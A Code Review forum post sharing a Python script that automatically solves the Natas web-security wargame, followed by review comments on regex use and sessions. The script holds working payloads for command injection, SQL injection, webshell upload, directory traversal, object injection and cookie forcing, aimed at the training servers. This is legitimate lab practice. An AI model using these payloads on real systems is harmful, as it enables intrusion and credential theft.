I have been tinkering with Natas a wargame from https://overthewire.org, I have been doing that the past few weeks whenever I have the time.
After finishing the entire challenge, I thought it would be fun to write a Python script that automatically solves the challenges. I've learned alot about the requests
module doing this, and it was fun rewriting some of the PHP cod to Python.
It executes a function that is rolled from a function dispenser to get the password for the corresponding link, afterwards it creates the new link (with a username and password). The dispenser then finds the next function with that link.
After finishing I do have some question regarding my code:
- Are my use of
Sessions()
OK? - I feel how I use Regex to parse the password from each site is bad, can this be avoided somehow?
- Any other styling/issues?
Any review is welcome.
#!/usr/bin/env python3
import requests
import re
import binascii
import base64
from urllib.parse import quote, unquote
from itertools import cycle
import string
from phpserialize import serialize, phpobject
CHAR_SET = string.ascii_letters + string.digits
PASSWORD_LENGHT = 32
COOKIE_LENGTH = 641
def natas0(url):
"""Simply on the homepage"""
return re.findall(r"The password for natas. is (.{32})", requests.get(url).text)[0]
def natas1(url):
"""Same as natas0"""
return natas0(url)
def natas2(url):
"""The password is in another file"""
return re.findall(r"natas3:(.{32})", requests.get(f"{url}files/users.txt").text)[0]
def natas3(url):
"""OBEY_ROBOTS=False (Bad robot)"""
session = requests.Session()
response = session.get(f"{url}robots.txt")
page = re.findall(r"Disallow: (.*)", response.text)[0]
response = session.get(f"{url}{page}users.txt")
return response.text.split(':')[1].rstrip()
def natas4(url):
"""Set referer field to get the password"""
session = requests.Session()
response = session.get(url, headers={'referer': 'http://natas5.natas.labs.overthewire.org/'})
return re.findall(r"The password for natas. is (.{32})", response.text)[0]
def natas5(url):
"""Set the required bit to log in"""
session = requests.Session()
response = session.get(url, cookies={'loggedin': '1'})
return re.findall(r"The password for natas. is (.{32})", response.text)[0]
def natas6(url):
"""Such s3cr3t"""
session = requests.Session()
response = session.get(f"{url}includes/secret.inc")
secret = re.findall(r"\"(.*)\"", response.text)[0].rstrip()
payload = {'submit': 'submit', 'secret': secret}
response = session.post(url, data=payload)
return re.findall(r"The password for natas. is (.{32})", response.text)[0]
def natas7(url):
"""Use directory traversal to find the password file"""
response = requests.get(f"{url}?page=../../../../etc/natas_webpass/natas8")
return re.findall(r"([^><{} =:\/\"\n]{32})", response.text)[1]
def natas8(url):
"""Reverse engineer encryption technique to get the secret"""
session = requests.Session()
response = session.get(f"{url}index-source.html")
secret = re.findall("\"(.{32})\"", response.text)[1]
decoded_secret = base64.decodestring(binascii.unhexlify(bytes(secret, 'ascii'))[::-1])
payload = {'submit': 'submit', 'secret': decoded_secret}
response = session.post(url, data=payload)
return re.findall(r"The password for natas. is (.{32})", response.text)[0]
def natas9(url):
"""Always sanatize your input!"""
needle = quote("; cat /etc/natas_webpass/natas10 #")
response = requests.get(f'{url}?needle={needle}&submit=Search')
return re.findall(r"([^><{} =:\/\"\n]{32})", response.text)[1]
def natas10(url):
"""More badly sanatized input"""
needle = quote(".* /etc/natas_webpass/natas11 #")
response = requests.get(f'{url}?needle={needle}&submit=Search')
return re.findall(r"([^><{} =:\/\"\n]{32})", response.text)[1]
def natas11(url):
"""Fun with breaking xor, to set the cookie"""
# With thnx to @Peilonrayz
def xor_repeat(value, repeater):
return bytes(v ^ r for v, r in zip(value, cycle(repeater)))
def decode_base64(data):
return base64.decodestring(data + b'=' * (-len(data) % 4))
def _repeated_substring(text):
for i in range(len(text)):
for j in range(i+1, len(text)):
yield text[i:j]
def repeated_substring(text):
return max(_repeated_substring(text), key=lambda t: (len(t), text.count(t)))
break_json = b'{"showpassword":"no","bgcolor":"#ffffff"}'
gen_json = b'{"showpassword":"yes","bgcolor":"#ffffff"}'
cookies = requests.get(url).cookies.get_dict()
cookie = decode_base64(bytes(cookies['data'][:-3], 'ascii'))
password = repeated_substring(xor_repeat(cookie, break_json))
new_cookie = base64.encodestring(xor_repeat(gen_json, password)).rstrip().decode('ascii')
session = requests.Session()
response = session.get(url, cookies={'data': new_cookie})
return re.findall(r"The password for natas12 is (.{32})", response.text)[0]
def natas12(url):
"""Malicious file upload"""
php_payload = '<? include("/etc/natas_webpass/natas13"); ?>'
_file = {'uploadedfile': ('shell.php', php_payload)}
payload = {'filename' : 'shell.php'}
session = requests.Session()
response = session.post(url, files=_file, data=payload)
upload = re.findall(r"(upload/\S{10}.php)", response.text)[0]
response = session.get(f"{url}{upload}")
return response.text.strip()
def natas13(url):
"""Altering the MIME type to evade, file upload checker"""
_content = b'\xFF\xD8\xFF\xE0<? include("/etc/natas_webpass/natas14"); ?>'
_file = {'uploadedfile': ('shell.php', _content)}
payload = {'filename' : 'shell.php'}
session = requests.Session()
response = session.post(url, files=_file, data=payload)
upload = re.findall(r"(upload/\S{10}.php)", response.text)[0]
response = session.get(f"{url}{upload}")
return response.text.strip()[4:]
def natas14(url):
"""SQL Injection"""
username = quote('test')
password = quote('lol" OR "1"="1')
response = requests.post(f'{url}?username={username}&password={password}')
return re.findall(r"The password for natas15 is (.{32})", response.text)[0]
def natas15(url):
"""Bruteforce SQL Injection to get the password"""
password = ''
session = requests.Session()
for _ in range(PASSWORD_LENGHT):
for char in CHAR_SET:
sql = f'{url}?username=natas16" AND password LIKE BINARY "{password}{char}%'
response = session.get(sql)
if 'This user exists.' in response.text:
password += char
break
return password
def natas16(url):
"""More bruteforcing"""
password = ''
session = requests.Session()
for _ in range(PASSWORD_LENGHT):
for char in CHAR_SET:
cmd = f'{url}?needle=lol$(grep ^{password}{char} /etc/natas_webpass/natas17)'
response = session.get(cmd)
if 'lol' not in response.text:
password += char
break
return password
def natas17(url):
"""Abusing the timeout, to do SQL Injection"""
password = ''
session = requests.Session()
for _ in range(PASSWORD_LENGHT):
for char in CHAR_SET:
sql = f'{url}?username=natas18" AND IF(password LIKE BINARY "{password}{char}%", sleep(1), NULL) %23'
respsonse = session.get(sql)
# If this one fails, might need to change time data.
# It is dependent on internet connection
if respsonse.elapsed.total_seconds() >= .5:
password += char
break
return password
def natas18(url):
"""Cookieforcing"""
session = requests.Session()
for i in range(1, COOKIE_LENGTH):
response = session.get(url, cookies={'PHPSESSID': str(i)})
if 'You are an admin.' in response.text:
return re.findall(r'Password: [^<]*', response.text)[0].split(': ')[1]
def natas19(url):
"""More Cookieforcing"""
session = requests.Session()
for i in range(1, COOKIE_LENGTH):
cookieID = ''.join(hex(ord(c))[2:] for c in f"{i}-admin")
response = session.get(url, cookies={'PHPSESSID': cookieID})
if 'You are an admin' in response.text:
return re.findall(r'Password: [^<]*', response.text)[0].split(': ')[1]
def natas20(url):
"""Create account with cookie, and get the Session"""
name = quote("admin\nadmin 1")
session = requests.Session()
session.post(f"{url}?name={name}", cookies = {'hack': 'hack'})
cookie = session.cookies.get_dict()
response = session.get(f"{url}", cookies=cookie)
return re.findall(r'Password: [^<]*', response.text)[0].split(': ')[1]
def natas21(url):
"""Shared cookie failure"""
url_exp = url.split('@')[0] + '@natas21-experimenter.natas.labs.overthewire.org/'
session = requests.Session()
cookie = session.get(url).cookies.get_dict()
data = dict(align='lol', fontsize='100%', bgcolor='yellow', submit='Update', admin='1')
session.post(url_exp, data=data, cookies=cookie)
response = session.get(url, cookies=cookie)
return re.findall(r"Password: [^<]*", response.text)[0].split(': ')[1]
def natas22(url):
"""No redirections, please!"""
response = requests.get(f"{url}?revelio=harrypotter", allow_redirects=False)
return re.findall(r"Password: [^<]*", response.text)[0].split(': ')[1]
def natas23(url):
"""PHP int call filters int from string"""
response = requests.get(f"{url}?passwd=11iloveyou")
return re.findall(r"Password: [^<]*", response.text)[0].split(': ')[1]
def natas24(url):
"""PHP array reference"""
response = requests.get(f"{url}?passwd[]=11iloveyou")
return re.findall(r"Password: [^<]*", response.text)[0].split(': ')[1]
def natas25(url):
"""Badly sanatized directory traversal + logging of the user agent"""
session = requests.Session()
session.headers.update({'User-Agent': '<? readfile("/etc/natas_webpass/natas26") ?>'})
cookie = session.get(url).cookies.get_dict()
payload = f"....//logs/natas25_{cookie['PHPSESSID']}.log"
response = session.get(f"{url}?lang={payload}", cookies=cookie)
return re.findall(r"] (.{32})", response.text)[0]
def natas26(url):
"""PHP Object injection, see OWASP"""
class Logger():
def __init__(self,initMsg,exitMsg,logFile):
self.initMsg = initMsg
self.exitMsg = exitMsg
self.logFile = logFile
def object_hook(obj):
if isinstance(obj, Logger):
return phpobject('Logger', {b'\x00Logger\x00initMsg': obj.initMsg, b'\x00Logger\x00exitMsg': obj.exitMsg, b'\x00Logger\x00logFile': obj.logFile})
session = requests.Session()
logger = Logger("", "<?php include('/etc/natas_webpass/natas27');?>", "img/code.php")
new_ser = base64.encodestring(serialize(logger, object_hook=object_hook)).replace(b'\n', b'').decode('ascii')
cookie = dict(drawing=new_ser)
session.get(f"{url}", cookies=cookie)
response = session.get(f"{url}img/code.php")
return re.findall(r"(.{32})", response.text)[0]
def natas27(url):
"""mysql_fetch_assoc vulnerability"""
session = requests.Session()
data = dict(username='natas28' + ' '*60 + 'hackz', password='')
session.post(url, data=data)
data = dict(username='natas28', password='')
response = session.post(url, data=data)
return re.findall(r"\[password] => (.{32})", response.text)[0]
def natas28(url):
"""Padding Oracle Attack"""
session = requests.Session()
cipher_text = lambda url, plain_text:base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))
def _block_size(url):
ciphertext = cipher_text(url, '')
pre_len = len(ciphertext)
idx = 0
while pre_len >= len(ciphertext):
plaintext = 'a' * idx
ciphertext = cipher_text(url, plaintext)
idx += 1
return len(ciphertext) - pre_len
def _prefix_size(url):
block_size = _block_size(url)
plain_text = 'a' * block_size * 3
cypher = cipher_text(url, plain_text)
cipher_a = ""
for i in range(0, len(cypher), block_size):
if cypher[i:i+block_size] == cypher[i+block_size: i+block_size*2]:
cipher_a = cypher[i: i+block_size]
break
for i in range(block_size):
plain_text = 'a' * (i + block_size)
cypher = cipher_text(url, plain_text)
if cipher_a in cypher:
return block_size, i, cypher.index(cipher_a)
block_size, index, cypher_size = _prefix_size(url)
plain_text = 'a'* (block_size // 2)
cypher = cipher_text(url, plain_text)
sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
pt = 'a' * index + sql + 'b' * (block_size - (len(sql) % block_size))
ct = cipher_text(url, pt)
e_sql = ct[cypher_size:cypher_size-index+len(pt)]
response = session.get(f"{url}search.php/?query=", params={"query": base64.b64encode(cypher[:cypher_size]+e_sql+cypher[cypher_size:])})
return re.findall(r"<li>natas29:(.{32})<\/li>", response.text)[0]
def natas29(url):
"""Perl file issues"""
session = requests.Session()
payload = "|cat+%22/etc/nat%22%22as_webpass/nat%22%22as30%22|tr+%27\n%27+%27+%27"
response = session.get(f"{url}index.pl?file={payload}")
return re.findall(r"([^><{} =:\/\"\n]{32})", response.text)[1]
def natas30(url):
"""Perl MySQL quote(param("parameter")) vulnerable to SQL Injection"""
params={"username": "natas31", "password": ["'lol' or 1",4]}
response = requests.post(url, data=params)
return re.findall(r"natas31(.{32})", response.text)[0]
def natas31(url):
print("""This is where I stop
Found it is not nice to post solutions online.
All of the above where online in some from""")
pass
# Main functions
def next_level(user, password):
return f'http://{user}:{password}@{user}.natas.labs.overthewire.org/'
def next_user(user):
old_digit = ''.join(filter(str.isdigit, user))
return user.replace(old_digit, str(int(old_digit)+1))
if __name__ == '__main__':
# Starting point
username = 'natas0'
password = 'natas0'
# Function dispenser
dispenser = {'natas0.natas.labs.overthewire.org/': natas0,
'natas1.natas.labs.overthewire.org/': natas1,
'natas2.natas.labs.overthewire.org/': natas2,
'natas3.natas.labs.overthewire.org/': natas3,
'natas4.natas.labs.overthewire.org/': natas4,
'natas5.natas.labs.overthewire.org/': natas5,
'natas6.natas.labs.overthewire.org/': natas6,
'natas7.natas.labs.overthewire.org/': natas7,
'natas8.natas.labs.overthewire.org/': natas8,
'natas9.natas.labs.overthewire.org/': natas9,
'natas10.natas.labs.overthewire.org/': natas10,
'natas11.natas.labs.overthewire.org/': natas11,
'natas12.natas.labs.overthewire.org/': natas12,
'natas13.natas.labs.overthewire.org/': natas13,
'natas14.natas.labs.overthewire.org/': natas14,
'natas15.natas.labs.overthewire.org/': natas15,
'natas16.natas.labs.overthewire.org/': natas16,
'natas17.natas.labs.overthewire.org/': natas17,
'natas18.natas.labs.overthewire.org/': natas18,
'natas19.natas.labs.overthewire.org/': natas19,
'natas20.natas.labs.overthewire.org/': natas20,
'natas21.natas.labs.overthewire.org/': natas21,
'natas22.natas.labs.overthewire.org/': natas22,
'natas23.natas.labs.overthewire.org/': natas23,
'natas24.natas.labs.overthewire.org/': natas24,
'natas25.natas.labs.overthewire.org/': natas25,
'natas26.natas.labs.overthewire.org/': natas26,
'natas27.natas.labs.overthewire.org/': natas27,
'natas28.natas.labs.overthewire.org/': natas28,
'natas29.natas.labs.overthewire.org/': natas29,
'natas30.natas.labs.overthewire.org/': natas30,
'natas31.natas.labs.overthewire.org/': natas31}
for _ in range(len(dispenser)):
url = next_level(username, password)
if requests.head(url).status_code == requests.codes.ok:
print(f"[!] Logged into {username}: {url}")
f = dispenser[url.split("@")[1]]
password = f(url)
username = next_user(username)
else:
print(f"[!] Failed {username}: {password}")
break
Note that not all challenges are accounted for, since solving them is all of the fun. And I read it would not be nice to post solutions online
1 Answer 1
- Using
re
for most of these is overkill. You're just searching for a string and then taking a substring at the end of it. I suggest you make a helper function that you pass the search string and the number of characters you need. - In those cases where you need the full power of regexps, I again suggest a helper function to eliminate all those repeated
[0]
. This function should usere.search()
instead ofre.findall()
sincefindall()
keeps searching the haystack string for the pattern even after it finds the first one. - I don't understand the purpose of the
dispenser
dictionary. You look like you're going to loop over it, except you don't. Why does it exist? - The whole
next_user()
function is strange. Just keep an int with the number and concatenate it, then increment it. - Why do you sometimes create a new
Session()
and then.get()
from it, but sometimes.get()
off therequests
object itself?
-
\$\begingroup\$ Those Regex are overkill, i know...
search()
is an improvement. The dispenser is used though , it finds the matching function with the challenge link. See belowpass = f(url)
. Regarding the Sessions, I don't think I needed a session if all I do is a single get request. \$\endgroup\$Ludisposed– Ludisposed2018年01月03日 23:42:43 +00:00Commented Jan 3, 2018 at 23:42 -
\$\begingroup\$ Are the challenges always in order?
f
is a horrible variable name. Sometimes you create a newSession
even though all you do is a singleGET
, e.g. in 3, 6, 15, 16 \$\endgroup\$Snowbody– Snowbody2018年01月04日 00:57:44 +00:00Commented Jan 4, 2018 at 0:57 -
\$\begingroup\$ Yes they are in order,
f
, I sometimes use for functions orfn
. Those sessions are needed. \$\endgroup\$Ludisposed– Ludisposed2018年01月04日 08:11:22 +00:00Commented Jan 4, 2018 at 8:11 -
\$\begingroup\$ Then why bother with a dictionary at all? Just use a regular list and iterate over it. \$\endgroup\$Snowbody– Snowbody2018年01月04日 14:52:59 +00:00Commented Jan 4, 2018 at 14:52
Explore related questions
See similar questions with these tags.